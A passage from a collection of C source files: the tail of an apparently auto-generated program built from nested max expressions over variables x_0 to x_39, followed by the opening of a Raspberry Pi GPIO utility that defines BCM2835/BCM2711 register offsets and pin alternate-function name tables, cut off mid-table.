+ x_5) : ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7)))? ((1.0 + x_2) > (9.0 + x_3)? (1.0 + x_2) : (9.0 + x_3)) : ((9.0 + x_5) > ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7))? (9.0 + x_5) : ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7)))) > (((9.0 + x_8) > (19.0 + x_9)? (9.0 + x_8) : (19.0 + x_9)) > ((3.0 + x_10) > ((15.0 + x_12) > (13.0 + x_14)? (15.0 + x_12) : (13.0 + x_14))? (3.0 + x_10) : ((15.0 + x_12) > (13.0 + x_14)? (15.0 + x_12) : (13.0 + x_14)))? ((9.0 + x_8) > (19.0 + x_9)? (9.0 + x_8) : (19.0 + x_9)) : ((3.0 + x_10) > ((15.0 + x_12) > (13.0 + x_14)? (15.0 + x_12) : (13.0 + x_14))? (3.0 + x_10) : ((15.0 + x_12) > (13.0 + x_14)? (15.0 + x_12) : (13.0 + x_14))))? (((1.0 + x_2) > (9.0 + x_3)? (1.0 + x_2) : (9.0 + x_3)) > ((9.0 + x_5) > ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7))? (9.0 + x_5) : ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7)))? ((1.0 + x_2) > (9.0 + x_3)? (1.0 + x_2) : (9.0 + x_3)) : ((9.0 + x_5) > ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7))? (9.0 + x_5) : ((14.0 + x_6) > (19.0 + x_7)? (14.0 + x_6) : (19.0 + x_7)))) : (((9.0 + x_8) > (19.0 + x_9)? (9.0 + x_8) : (19.0 + x_9)) > ((3.0 + x_10) > ((15.0 + x_12) > (13.0 + x_14)? (15.0 + x_12) : (13.0 + x_14))? (3.0 + x_10) : ((15.0 + x_12) > (13.0 + x_14)? (15.0 + x_12) : (13.0 + x_14)))? ((9.0 + x_8) > (19.0 + x_9)? (9.0 + x_8) : (19.0 + x_9)) : ((3.0 + x_10) > ((15.0 + x_12) > (13.0 + x_14)? (15.0 + x_12) : (13.0 + x_14))? (3.0 + x_10) : ((15.0 + x_12) > (13.0 + x_14)? (15.0 + x_12) : (13.0 + x_14))))) : ((((13.0 + x_15) > (5.0 + x_18)? (13.0 + x_15) : (5.0 + x_18)) > ((16.0 + x_22) > ((16.0 + x_26) > (4.0 + x_28)? (16.0 + x_26) : (4.0 + x_28))? (16.0 + x_22) : ((16.0 + x_26) > (4.0 + x_28)? (16.0 + x_26) : (4.0 + x_28)))? ((13.0 + x_15) > (5.0 + x_18)? (13.0 + x_15) : (5.0 + x_18)) : ((16.0 + x_22) > ((16.0 + x_26) > (4.0 + x_28)? (16.0 + x_26) : (4.0 + x_28))? (16.0 + x_22) : ((16.0 + x_26) > (4.0 + x_28)? (16.0 + x_26) : (4.0 + x_28)))) > (((13.0 + x_30) > (4.0 + x_32)? (13.0 + x_30) : (4.0 + x_32)) > ((5.0 + x_33) > ((13.0 + x_34) > (20.0 + x_37)? (13.0 + x_34) : (20.0 + x_37))? (5.0 + x_33) : ((13.0 + x_34) > (20.0 + x_37)? (13.0 + x_34) : (20.0 + x_37)))? ((13.0 + x_30) > (4.0 + x_32)? (13.0 + x_30) : (4.0 + x_32)) : ((5.0 + x_33) > ((13.0 + x_34) > (20.0 + x_37)? (13.0 + x_34) : (20.0 + x_37))? (5.0 + x_33) : ((13.0 + x_34) > (20.0 + x_37)? (13.0 + x_34) : (20.0 + x_37))))? (((13.0 + x_15) > (5.0 + x_18)? (13.0 + x_15) : (5.0 + x_18)) > ((16.0 + x_22) > ((16.0 + x_26) > (4.0 + x_28)? (16.0 + x_26) : (4.0 + x_28))? (16.0 + x_22) : ((16.0 + x_26) > (4.0 + x_28)? (16.0 + x_26) : (4.0 + x_28)))? ((13.0 + x_15) > (5.0 + x_18)? (13.0 + x_15) : (5.0 + x_18)) : ((16.0 + x_22) > ((16.0 + x_26) > (4.0 + x_28)? (16.0 + x_26) : (4.0 + x_28))? (16.0 + x_22) : ((16.0 + x_26) > (4.0 + x_28)? (16.0 + x_26) : (4.0 + x_28)))) : (((13.0 + x_30) > (4.0 + x_32)? (13.0 + x_30) : (4.0 + x_32)) > ((5.0 + x_33) > ((13.0 + x_34) > (20.0 + x_37)? (13.0 + x_34) : (20.0 + x_37))? (5.0 + x_33) : ((13.0 + x_34) > (20.0 + x_37)? (13.0 + x_34) : (20.0 + x_37)))? ((13.0 + x_30) > (4.0 + x_32)? (13.0 + x_30) : (4.0 + x_32)) : ((5.0 + x_33) > ((13.0 + x_34) > (20.0 + x_37)? (13.0 + x_34) : (20.0 + x_37))? (5.0 + x_33) : ((13.0 + x_34) > (20.0 + x_37)? (13.0 + x_34) : (20.0 + x_37)))))); x_39_ = (((((4.0 + x_1) > (1.0 + x_2)? (4.0 + x_1) : (1.0 + x_2)) > ((20.0 + x_5) > ((16.0 + x_6) > (11.0 + x_7)? (16.0 + x_6) : (11.0 + x_7))? (20.0 + x_5) : ((16.0 + x_6) > (11.0 + x_7)? (16.0 + x_6) : (11.0 + x_7)))? ((4.0 + x_1) > (1.0 + x_2)? (4.0 + x_1) : (1.0 + x_2)) : ((20.0 + x_5) > ((16.0 + x_6) > (11.0 + x_7)? (16.0 + x_6) : (11.0 + x_7))? (20.0 + x_5) : ((16.0 + x_6) > (11.0 + x_7)? (16.0 + x_6) : (11.0 + x_7)))) > (((12.0 + x_8) > (15.0 + x_9)? (12.0 + x_8) : (15.0 + x_9)) > ((20.0 + x_12) > ((14.0 + x_13) > (7.0 + x_14)? (14.0 + x_13) : (7.0 + x_14))? (20.0 + x_12) : ((14.0 + x_13) > (7.0 + x_14)? (14.0 + x_13) : (7.0 + x_14)))? ((12.0 + x_8) > (15.0 + x_9)? (12.0 + x_8) : (15.0 + x_9)) : ((20.0 + x_12) > ((14.0 + x_13) > (7.0 + x_14)? (14.0 + x_13) : (7.0 + x_14))? (20.0 + x_12) : ((14.0 + x_13) > (7.0 + x_14)? (14.0 + x_13) : (7.0 + x_14))))? (((4.0 + x_1) > (1.0 + x_2)? (4.0 + x_1) : (1.0 + x_2)) > ((20.0 + x_5) > ((16.0 + x_6) > (11.0 + x_7)? (16.0 + x_6) : (11.0 + x_7))? (20.0 + x_5) : ((16.0 + x_6) > (11.0 + x_7)? (16.0 + x_6) : (11.0 + x_7)))? ((4.0 + x_1) > (1.0 + x_2)? (4.0 + x_1) : (1.0 + x_2)) : ((20.0 + x_5) > ((16.0 + x_6) > (11.0 + x_7)? (16.0 + x_6) : (11.0 + x_7))? (20.0 + x_5) : ((16.0 + x_6) > (11.0 + x_7)? (16.0 + x_6) : (11.0 + x_7)))) : (((12.0 + x_8) > (15.0 + x_9)? (12.0 + x_8) : (15.0 + x_9)) > ((20.0 + x_12) > ((14.0 + x_13) > (7.0 + x_14)? (14.0 + x_13) : (7.0 + x_14))? (20.0 + x_12) : ((14.0 + x_13) > (7.0 + x_14)? (14.0 + x_13) : (7.0 + x_14)))? ((12.0 + x_8) > (15.0 + x_9)? (12.0 + x_8) : (15.0 + x_9)) : ((20.0 + x_12) > ((14.0 + x_13) > (7.0 + x_14)? (14.0 + x_13) : (7.0 + x_14))? (20.0 + x_12) : ((14.0 + x_13) > (7.0 + x_14)? (14.0 + x_13) : (7.0 + x_14))))) > ((((11.0 + x_16) > (5.0 + x_19)? (11.0 + x_16) : (5.0 + x_19)) > ((8.0 + x_20) > ((18.0 + x_21) > (18.0 + x_27)? (18.0 + x_21) : (18.0 + x_27))? (8.0 + x_20) : ((18.0 + x_21) > (18.0 + x_27)? (18.0 + x_21) : (18.0 + x_27)))? ((11.0 + x_16) > (5.0 + x_19)? (11.0 + x_16) : (5.0 + x_19)) : ((8.0 + x_20) > ((18.0 + x_21) > (18.0 + x_27)? (18.0 + x_21) : (18.0 + x_27))? (8.0 + x_20) : ((18.0 + x_21) > (18.0 + x_27)? (18.0 + x_21) : (18.0 + x_27)))) > (((7.0 + x_28) > (7.0 + x_31)? (7.0 + x_28) : (7.0 + x_31)) > ((12.0 + x_35) > ((19.0 + x_37) > (20.0 + x_38)? (19.0 + x_37) : (20.0 + x_38))? (12.0 + x_35) : ((19.0 + x_37) > (20.0 + x_38)? (19.0 + x_37) : (20.0 + x_38)))? ((7.0 + x_28) > (7.0 + x_31)? (7.0 + x_28) : (7.0 + x_31)) : ((12.0 + x_35) > ((19.0 + x_37) > (20.0 + x_38)? (19.0 + x_37) : (20.0 + x_38))? (12.0 + x_35) : ((19.0 + x_37) > (20.0 + x_38)? (19.0 + x_37) : (20.0 + x_38))))? (((11.0 + x_16) > (5.0 + x_19)? (11.0 + x_16) : (5.0 + x_19)) > ((8.0 + x_20) > ((18.0 + x_21) > (18.0 + x_27)? (18.0 + x_21) : (18.0 + x_27))? (8.0 + x_20) : ((18.0 + x_21) > (18.0 + x_27)? (18.0 + x_21) : (18.0 + x_27)))? ((11.0 + x_16) > (5.0 + x_19)? (11.0 + x_16) : (5.0 + x_19)) : ((8.0 + x_20) > ((18.0 + x_21) > (18.0 + x_27)? (18.0 + x_21) : (18.0 + x_27))? (8.0 + x_20) : ((18.0 + x_21) > (18.0 + x_27)? (18.0 + x_21) : (18.0 + x_27)))) : (((7.0 + x_28) > (7.0 + x_31)? (7.0 + x_28) : (7.0 + x_31)) > ((12.0 + x_35) > ((19.0 + x_37) > (20.0 + x_38)? (19.0 + x_37) : (20.0 + x_38))? (12.0 + x_35) : ((19.0 + x_37) > (20.0 + x_38)? (19.0 + x_37) : (20.0 + x_38)))? ((7.0 + x_28) > (7.0 + x_31)? (7.0 + x_28) : (7.0 + x_31)) : ((12.0 + x_35) > ((19.0 + x_37) > (20.0 + x_38)? (19.0 + x_37) : (20.0 + x_38))? (12.0 + x_35) : ((19.0 + x_37) > (20.0 + x_38)? (19.0 + x_37) : (20.0 + x_38)))))? ((((4.0 + x_1) > (1.0 + x_2)? (4.0 + x_1) : (1.0 + x_2)) > ((20.0 + x_5) > ((16.0 + x_6) > (11.0 + x_7)? (16.0 + x_6) : (11.0 + x_7))? (20.0 + x_5) : ((16.0 + x_6) > (11.0 + x_7)? (16.0 + x_6) : (11.0 + x_7)))? ((4.0 + x_1) > (1.0 + x_2)? (4.0 + x_1) : (1.0 + x_2)) : ((20.0 + x_5) > ((16.0 + x_6) > (11.0 + x_7)? (16.0 + x_6) : (11.0 + x_7))? (20.0 + x_5) : ((16.0 + x_6) > (11.0 + x_7)? (16.0 + x_6) : (11.0 + x_7)))) > (((12.0 + x_8) > (15.0 + x_9)? (12.0 + x_8) : (15.0 + x_9)) > ((20.0 + x_12) > ((14.0 + x_13) > (7.0 + x_14)? (14.0 + x_13) : (7.0 + x_14))? (20.0 + x_12) : ((14.0 + x_13) > (7.0 + x_14)? (14.0 + x_13) : (7.0 + x_14)))? ((12.0 + x_8) > (15.0 + x_9)? (12.0 + x_8) : (15.0 + x_9)) : ((20.0 + x_12) > ((14.0 + x_13) > (7.0 + x_14)? (14.0 + x_13) : (7.0 + x_14))? (20.0 + x_12) : ((14.0 + x_13) > (7.0 + x_14)? (14.0 + x_13) : (7.0 + x_14))))? (((4.0 + x_1) > (1.0 + x_2)? (4.0 + x_1) : (1.0 + x_2)) > ((20.0 + x_5) > ((16.0 + x_6) > (11.0 + x_7)? (16.0 + x_6) : (11.0 + x_7))? (20.0 + x_5) : ((16.0 + x_6) > (11.0 + x_7)? (16.0 + x_6) : (11.0 + x_7)))? ((4.0 + x_1) > (1.0 + x_2)? (4.0 + x_1) : (1.0 + x_2)) : ((20.0 + x_5) > ((16.0 + x_6) > (11.0 + x_7)? (16.0 + x_6) : (11.0 + x_7))? (20.0 + x_5) : ((16.0 + x_6) > (11.0 + x_7)? (16.0 + x_6) : (11.0 + x_7)))) : (((12.0 + x_8) > (15.0 + x_9)? (12.0 + x_8) : (15.0 + x_9)) > ((20.0 + x_12) > ((14.0 + x_13) > (7.0 + x_14)? (14.0 + x_13) : (7.0 + x_14))? (20.0 + x_12) : ((14.0 + x_13) > (7.0 + x_14)? (14.0 + x_13) : (7.0 + x_14)))? ((12.0 + x_8) > (15.0 + x_9)? (12.0 + x_8) : (15.0 + x_9)) : ((20.0 + x_12) > ((14.0 + x_13) > (7.0 + x_14)? (14.0 + x_13) : (7.0 + x_14))? (20.0 + x_12) : ((14.0 + x_13) > (7.0 + x_14)? (14.0 + x_13) : (7.0 + x_14))))) : ((((11.0 + x_16) > (5.0 + x_19)? (11.0 + x_16) : (5.0 + x_19)) > ((8.0 + x_20) > ((18.0 + x_21) > (18.0 + x_27)? (18.0 + x_21) : (18.0 + x_27))? (8.0 + x_20) : ((18.0 + x_21) > (18.0 + x_27)? (18.0 + x_21) : (18.0 + x_27)))? ((11.0 + x_16) > (5.0 + x_19)? (11.0 + x_16) : (5.0 + x_19)) : ((8.0 + x_20) > ((18.0 + x_21) > (18.0 + x_27)? (18.0 + x_21) : (18.0 + x_27))? (8.0 + x_20) : ((18.0 + x_21) > (18.0 + x_27)? (18.0 + x_21) : (18.0 + x_27)))) > (((7.0 + x_28) > (7.0 + x_31)? (7.0 + x_28) : (7.0 + x_31)) > ((12.0 + x_35) > ((19.0 + x_37) > (20.0 + x_38)? (19.0 + x_37) : (20.0 + x_38))? (12.0 + x_35) : ((19.0 + x_37) > (20.0 + x_38)? (19.0 + x_37) : (20.0 + x_38)))? ((7.0 + x_28) > (7.0 + x_31)? (7.0 + x_28) : (7.0 + x_31)) : ((12.0 + x_35) > ((19.0 + x_37) > (20.0 + x_38)? (19.0 + x_37) : (20.0 + x_38))? (12.0 + x_35) : ((19.0 + x_37) > (20.0 + x_38)? (19.0 + x_37) : (20.0 + x_38))))? (((11.0 + x_16) > (5.0 + x_19)? (11.0 + x_16) : (5.0 + x_19)) > ((8.0 + x_20) > ((18.0 + x_21) > (18.0 + x_27)? (18.0 + x_21) : (18.0 + x_27))? (8.0 + x_20) : ((18.0 + x_21) > (18.0 + x_27)? (18.0 + x_21) : (18.0 + x_27)))? ((11.0 + x_16) > (5.0 + x_19)? (11.0 + x_16) : (5.0 + x_19)) : ((8.0 + x_20) > ((18.0 + x_21) > (18.0 + x_27)? (18.0 + x_21) : (18.0 + x_27))? (8.0 + x_20) : ((18.0 + x_21) > (18.0 + x_27)? (18.0 + x_21) : (18.0 + x_27)))) : (((7.0 + x_28) > (7.0 + x_31)? (7.0 + x_28) : (7.0 + x_31)) > ((12.0 + x_35) > ((19.0 + x_37) > (20.0 + x_38)? (19.0 + x_37) : (20.0 + x_38))? (12.0 + x_35) : ((19.0 + x_37) > (20.0 + x_38)? (19.0 + x_37) : (20.0 + x_38)))? ((7.0 + x_28) > (7.0 + x_31)? (7.0 + x_28) : (7.0 + x_31)) : ((12.0 + x_35) > ((19.0 + x_37) > (20.0 + x_38)? (19.0 + x_37) : (20.0 + x_38))? (12.0 + x_35) : ((19.0 + x_37) > (20.0 + x_38)? (19.0 + x_37) : (20.0 + x_38)))))); x_0 = x_0_; x_1 = x_1_; x_2 = x_2_; x_3 = x_3_; x_4 = x_4_; x_5 = x_5_; x_6 = x_6_; x_7 = x_7_; x_8 = x_8_; x_9 = x_9_; x_10 = x_10_; x_11 = x_11_; x_12 = x_12_; x_13 = x_13_; x_14 = x_14_; x_15 = x_15_; x_16 = x_16_; x_17 = x_17_; x_18 = x_18_; x_19 = x_19_; x_20 = x_20_; x_21 = x_21_; x_22 = x_22_; x_23 = x_23_; x_24 = x_24_; x_25 = x_25_; x_26 = x_26_; x_27 = x_27_; x_28 = x_28_; x_29 = x_29_; x_30 = x_30_; x_31 = x_31_; x_32 = x_32_; x_33 = x_33_; x_34 = x_34_; x_35 = x_35_; x_36 = x_36_; x_37 = x_37_; x_38 = x_38_; x_39 = x_39_; } return 0; }
the_stack_data/65747.c
/* Reads GPIO state and dumps to console. Allows GPIO hacking to set and get GPIO state. Author: James Adams September 28, 2021: Added code to save/restore raw contents. -jacob psimos */ #include <stdio.h> #include <stdarg.h> #include <stdint.h> #include <stdlib.h> #include <ctype.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <fcntl.h> #include <sys/mman.h> #include <time.h> #define GPIO_BASE_OFFSET 0x00200000 #define DRIVE_UNSET -1 #define DRIVE_LOW 0 #define DRIVE_HIGH 1 #define PULL_UNSET -1 #define PULL_NONE 0 #define PULL_DOWN 1 #define PULL_UP 2 #define FUNC_UNSET -1 #define FUNC_IP 0 #define FUNC_OP 1 #define FUNC_ALT(x) (2 + (x)) #define FUNC_A0 FUNC_ALT(0) #define FUNC_A1 FUNC_ALT(1) #define FUNC_A2 FUNC_ALT(2) #define FUNC_A3 FUNC_ALT(3) #define FUNC_A4 FUNC_ALT(4) #define FUNC_A5 FUNC_ALT(5) /* 2835 register offsets */ #define GPFSEL0 0 #define GPFSEL1 1 #define GPFSEL2 2 #define GPFSEL3 3 #define GPFSEL4 4 #define GPFSEL5 5 #define GPSET0 7 #define GPSET1 8 #define GPCLR0 10 #define GPCLR1 11 #define GPLEV0 13 #define GPLEV1 14 #define GPPUD 37 #define GPPUDCLK0 38 #define GPPUDCLK1 39 /* 2711 has a different mechanism for pin pull-up/down/enable */ #define GPPUPPDN0 57 /* Pin pull-up/down for pins 15:0 */ #define GPPUPPDN1 58 /* Pin pull-up/down for pins 31:16 */ #define GPPUPPDN2 59 /* Pin pull-up/down for pins 47:32 */ #define GPPUPPDN3 60 /* Pin pull-up/down for pins 57:48 */ struct gpio_chip { const char *name; uint32_t reg_base; uint32_t reg_size; unsigned int gpio_count; unsigned int fsel_count; const char *info_header; const char **alt_names; const int *default_pulls; int (*get_level)(struct gpio_chip *chip, unsigned int gpio); int (*get_fsel)(struct gpio_chip *chip, unsigned int gpio); int (*get_pull)(struct gpio_chip *chip, unsigned int gpio); int (*set_level)(struct gpio_chip *chip, unsigned int gpio, int level); int (*set_fsel)(struct gpio_chip *chip, unsigned int gpio, int fsel); int (*set_pull)(struct gpio_chip *chip, unsigned int gpio, int pull); int (*next_reg)(int reg); volatile uint32_t *base; }; static int bcm2835_get_level(struct gpio_chip *chip, unsigned int gpio); static int bcm2835_get_fsel(struct gpio_chip *chip, unsigned int gpio); static int bcm2835_get_pull(struct gpio_chip *chip, unsigned int gpio); static int bcm2835_set_level(struct gpio_chip *chip, unsigned int gpio, int level); static int bcm2835_set_fsel(struct gpio_chip *chip, unsigned int gpio, int fsel); static int bcm2835_set_pull(struct gpio_chip *chip, unsigned int gpio, int pull); static int bcm2835_next_reg(int reg); static int bcm2711_get_pull(struct gpio_chip *chip, unsigned int gpio); static int bcm2711_set_pull(struct gpio_chip *chip, unsigned int gpio, int pull); static int bcm2711_next_reg(int reg); static const char *gpio_alt_names_2835[54*6] = { "SDA0" , "SA5" , "PCLK" , "AVEOUT_VCLK" , "AVEIN_VCLK" , 0 , "SCL0" , "SA4" , "DE" , "AVEOUT_DSYNC" , "AVEIN_DSYNC", 0 , "SDA1" , "SA3" , "LCD_VSYNC" , "AVEOUT_VSYNC" , "AVEIN_VSYNC", 0 , "SCL1" , "SA2" , "LCD_HSYNC" , "AVEOUT_HSYNC" , "AVEIN_HSYNC", 0 , "GPCLK0" , "SA1" , "DPI_D0" , "AVEOUT_VID0" , "AVEIN_VID0" , "ARM_TDI" , "GPCLK1" , "SA0" , "DPI_D1" , "AVEOUT_VID1" , "AVEIN_VID1" , "ARM_TDO" , "GPCLK2" , "SOE_N_SE" , "DPI_D2" , "AVEOUT_VID2" , "AVEIN_VID2" , "ARM_RTCK" , "SPI0_CE1_N", "SWE_N_SRW_N", "DPI_D3" , "AVEOUT_VID3" , "AVEIN_VID3" , 0 , "SPI0_CE0_N", "SD0" , "DPI_D4" , "AVEOUT_VID4" , "AVEIN_VID4" , 0 , "SPI0_MISO" , "SD1" , "DPI_D5" , "AVEOUT_VID5" , "AVEIN_VID5" , 0 , "SPI0_MOSI" , "SD2" , "DPI_D6" , "AVEOUT_VID6" , "AVEIN_VID6" , 0 , "SPI0_SCLK" , "SD3" , "DPI_D7" , "AVEOUT_VID7" , "AVEIN_VID7" , 0 , "PWM0" , "SD4" , "DPI_D8" , "AVEOUT_VID8" , "AVEIN_VID8" , "ARM_TMS" , "PWM1" , "SD5" , "DPI_D9" , "AVEOUT_VID9" , "AVEIN_VID9" , "ARM_TCK" , "TXD0" , "SD6" , "DPI_D10" , "AVEOUT_VID10" , "AVEIN_VID10", "TXD1" , "RXD0" , "SD7" , "DPI_D11" , "AVEOUT_VID11" , "AVEIN_VID11", "RXD1" , "FL0" , "SD8" , "DPI_D12" , "CTS0" , "SPI1_CE2_N" , "CTS1" , "FL1" , "SD9" , "DPI_D13" , "RTS0" , "SPI1_CE1_N" , "RTS1" , "PCM_CLK" , "SD10" , "DPI_D14" , "I2CSL_SDA_MOSI", "SPI1_CE0_N" , "PWM0" , "PCM_FS" , "SD11" , "DPI_D15" , "I2CSL_SCL_SCLK", "SPI1_MISO" , "PWM1" , "PCM_DIN" , "SD12" , "DPI_D16" , "I2CSL_MISO" , "SPI1_MOSI" , "GPCLK0" , "PCM_DOUT" , "SD13" , "DPI_D17" , "I2CSL_CE_N" , "SPI1_SCLK" , "GPCLK1" , "SD0_CLK" , "SD14" , "DPI_D18" , "SD1_CLK" , "ARM_TRST" , 0 , "SD0_CMD" , "SD15" , "DPI_D19" , "SD1_CMD" , "ARM_RTCK" , 0 , "SD0_DAT0" , "SD16" , "DPI_D20" , "SD1_DAT0" , "ARM_TDO" , 0 , "SD0_DAT1" , "SD17" , "DPI_D21" , "SD1_DAT1" , "ARM_TCK" , 0 , "SD0_DAT2" , "TE0" , "DPI_D22" , "SD1_DAT2" , "ARM_TDI" , 0 , "SD0_DAT3" , "TE1" , "DPI_D23" , "SD1_DAT3" , "ARM_TMS" , 0 , "SDA0" , "SA5" , "PCM_CLK" , "FL0" , 0 , 0 , "SCL0" , "SA4" , "PCM_FS" , "FL1" , 0 , 0 , "TE0" , "SA3" , "PCM_DIN" , "CTS0" , 0 , "CTS1" , "FL0" , "SA2" , "PCM_DOUT" , "RTS0" , 0 , "RTS1" , "GPCLK0" , "SA1" , "RING_OCLK" , "TXD0" , 0 , "TXD1" , "FL1" , "SA0" , "TE1" , "RXD0" , 0 , "RXD1" , "GPCLK0" , "SOE_N_SE" , "TE2" , "SD1_CLK" , 0 , 0 , "SPI0_CE1_N", "SWE_N_SRW_N", 0 , "SD1_CMD" , 0 , 0 , "SPI0_CE0_N", "SD0" , "TXD0" , "SD1_DAT0" , 0 , 0 , "SPI0_MISO" , "SD1" , "RXD0" , "SD1_DAT1" , 0 , 0 , "SPI0_MOSI" , "SD2" , "RTS0" , "SD1_DAT2" , 0 , 0 , "SPI0_SCLK" , "SD3" , "CTS0" , "SD1_DAT3" , 0 , 0 , "PWM0" , "SD4" , 0 , "SD1_DAT4" , "SPI2_MISO" , "TXD1" , "PWM1" , "SD5" , "TE0" , "SD1_DAT5" , "SPI2_MOSI" , "RXD1" , "GPCLK1" , "SD6" , "TE1" , "SD1_DAT6" , "SPI2_SCLK" , "RTS1" , "GPCLK2" , "SD7" , "TE2" , "SD1_DAT7" , "SPI2_CE0_N" , "CTS1" , "GPCLK1" , "SDA0" , "SDA1" , "TE0" , "SPI2_CE1_N" , 0 , "PWM1" , "SCL0" , "SCL1" , "TE1" , "SPI2_CE2_N" , 0 , "SDA0" , "SDA1" , "SPI0_CE0_N", 0 , 0 , "SPI2_CE1_N", "SCL0" , "SCL1" , "SPI0_MISO" , 0 , 0 , "SPI2_CE0_N", "SD0_CLK" , "FL0" , "SPI0_MOSI" , "SD1_CLK" , "ARM_TRST" , "SPI2_SCLK" , "SD0_CMD" , "GPCLK0" , "SPI0_SCLK" , "SD1_CMD" , "ARM_RTCK" , "SPI2_MOSI" , "SD0_DAT0" , "GPCLK1" , "PCM_CLK" , "SD1_DAT0" , "ARM_TDO" , 0 , "SD0_DAT1" , "GPCLK2" , "PCM_FS" , "SD1_DAT1" , "ARM_TCK" , 0 , "SD0_DAT2" , "PWM0" , "PCM_DIN" , "SD1_DAT2" , "ARM_TDI" , 0 , "SD0_DAT3" , "PWM1" , "PCM_DOUT" , "SD1_DAT3" , "ARM_TMS" , 0 }; static const char *gpio_alt_names_2711[54*6] = { "SDA0" , "SA5" , "PCLK" , "SPI3_CE0_N" , "TXD2" , "SDA6" , "SCL0" , "SA4" , "DE" , "SPI3_MISO" , "RXD2" , "SCL6" , "SDA1" , "SA3" , "LCD_VSYNC" , "SPI3_MOSI" , "CTS2" , "SDA3" , "SCL1" , "SA2" , "LCD_HSYNC" , "SPI3_SCLK" , "RTS2" , "SCL3" , "GPCLK0" , "SA1" , "DPI_D0" , "SPI4_CE0_N" , "TXD3" , "SDA3" , "GPCLK1" , "SA0" , "DPI_D1" , "SPI4_MISO" , "RXD3" , "SCL3" , "GPCLK2" , "SOE_N_SE" , "DPI_D2" , "SPI4_MOSI" , "CTS3" , "SDA4" , "SPI0_CE1_N", "SWE_N_SRW_N", "DPI_D3" , "SPI4_SCLK" , "RTS3" , "SCL4" , "SPI0_CE0_N", "SD0" , "DPI_D4" , "I2CSL_CE_N" , "TXD4" , "SDA4" , "SPI0_MISO" , "SD1" , "DPI_D5" , "I2CSL_SDI_MISO", "RXD4" , "SCL4" , "SPI0_MOSI" , "SD2" , "DPI_D6" , "I2CSL_SDA_MOSI", "CTS4" , "SDA5" , "SPI0_SCLK" , "SD3" , "DPI_D7" , "I2CSL_SCL_SCLK", "RTS4" , "SCL5" , "PWM0_0" , "SD4" , "DPI_D8" , "SPI5_CE0_N" , "TXD5" , "SDA5" , "PWM0_1" , "SD5" , "DPI_D9" , "SPI5_MISO" , "RXD5" , "SCL5" , "TXD0" , "SD6" , "DPI_D10" , "SPI5_MOSI" , "CTS5" , "TXD1" , "RXD0" , "SD7" , "DPI_D11" , "SPI5_SCLK" , "RTS5" , "RXD1" , 0 , "SD8" , "DPI_D12" , "CTS0" , "SPI1_CE2_N" , "CTS1" , 0 , "SD9" , "DPI_D13" , "RTS0" , "SPI1_CE1_N" , "RTS1" , "PCM_CLK" , "SD10" , "DPI_D14" , "SPI6_CE0_N" , "SPI1_CE0_N" , "PWM0_0" , "PCM_FS" , "SD11" , "DPI_D15" , "SPI6_MISO" , "SPI1_MISO" , "PWM0_1" , "PCM_DIN" , "SD12" , "DPI_D16" , "SPI6_MOSI" , "SPI1_MOSI" , "GPCLK0" , "PCM_DOUT" , "SD13" , "DPI_D17" , "SPI6_SCLK" , "SPI1_SCLK" , "GPCLK1" , "SD0_CLK" , "SD14" , "DPI_D18" , "SD1_CLK" , "ARM_TRST" , "SDA6" , "SD0_CMD" , "SD15" , "DPI_D19" , "SD1_CMD" , "ARM_RTCK" , "SCL6" , "SD0_DAT0" , "SD16" , "DPI_D20" , "SD1_DAT0" , "ARM_TDO" , "SPI3_CE1_N" , "SD0_DAT1" , "SD17" , "DPI_D21" , "SD1_DAT1" , "ARM_TCK" , "SPI4_CE1_N" , "SD0_DAT2" , 0 , "DPI_D22" , "SD1_DAT2" , "ARM_TDI" , "SPI5_CE1_N" , "SD0_DAT3" , 0 , "DPI_D23" , "SD1_DAT3" , "ARM_TMS" , "SPI6_CE1_N" , "SDA0" , "SA5" , "PCM_CLK" , 0 , "MII_A_RX_ERR" , "RGMII_MDIO" , "SCL0" , "SA4" , "PCM_FS" , 0 , "MII_A_TX_ERR" , "RGMII_MDC" , 0 , "SA3" , "PCM_DIN" , "CTS0" , "MII_A_CRS" , "CTS1" , 0 , "SA2" , "PCM_DOUT" , "RTS0" , "MII_A_COL" , "RTS1" , "GPCLK0" , "SA1" , 0 , "TXD0" , "SD_CARD_PRES" , "TXD1" , 0 , "SA0" , 0 , "RXD0" , "SD_CARD_WRPROT" , "RXD1" , "GPCLK0" , "SOE_N_SE" , 0 , "SD1_CLK" , "SD_CARD_LED" , "RGMII_IRQ" , "SPI0_CE1_N", "SWE_N_SRW_N", 0 , "SD1_CMD" , "RGMII_START_STOP", 0 , "SPI0_CE0_N", "SD0" , "TXD0" , "SD1_DAT0" , "RGMII_RX_OK" , "MII_A_RX_ERR", "SPI0_MISO" , "SD1" , "RXD0" , "SD1_DAT1" , "RGMII_MDIO" , "MII_A_TX_ERR", "SPI0_MOSI" , "SD2" , "RTS0" , "SD1_DAT2" , "RGMII_MDC" , "MII_A_CRS" , "SPI0_SCLK" , "SD3" , "CTS0" , "SD1_DAT3" , "RGMII_IRQ" , "MII_A_COL" , "PWM1_0" , "SD4" , 0 , "SD1_DAT4" , "SPI0_MISO" , "TXD1" , "PWM1_1" , "SD5" , 0 , "SD1_DAT5" , "SPI0_MOSI" , "RXD1" , "GPCLK1" , "SD6" , 0 , "SD1_DAT6" , "SPI0_SCLK" , "RTS1" , "GPCLK2" , "SD7" , 0 , "SD1_DAT7" , "SPI0_CE0_N" , "CTS1" , "GPCLK1" , "SDA0" , "SDA1" , 0 , "SPI0_CE1_N" , "SD_CARD_VOLT", "PWM0_1" , "SCL0" , "SCL1" , 0 , "SPI0_CE2_N" , "SD_CARD_PWR0", "SDA0" , "SDA1" , "SPI0_CE0_N", 0 , 0 , "SPI2_CE1_N" , "SCL0" , "SCL1" , "SPI0_MISO" , 0 , 0 , "SPI2_CE0_N" , "SD0_CLK" , 0 , "SPI0_MOSI" , "SD1_CLK" , "ARM_TRST" , "SPI2_SCLK" , "SD0_CMD" , "GPCLK0" , "SPI0_SCLK" , "SD1_CMD" , "ARM_RTCK" , "SPI2_MOSI" , "SD0_DAT0" , "GPCLK1" , "PCM_CLK" , "SD1_DAT0" , "ARM_TDO" , "SPI2_MISO" , "SD0_DAT1" , "GPCLK2" , 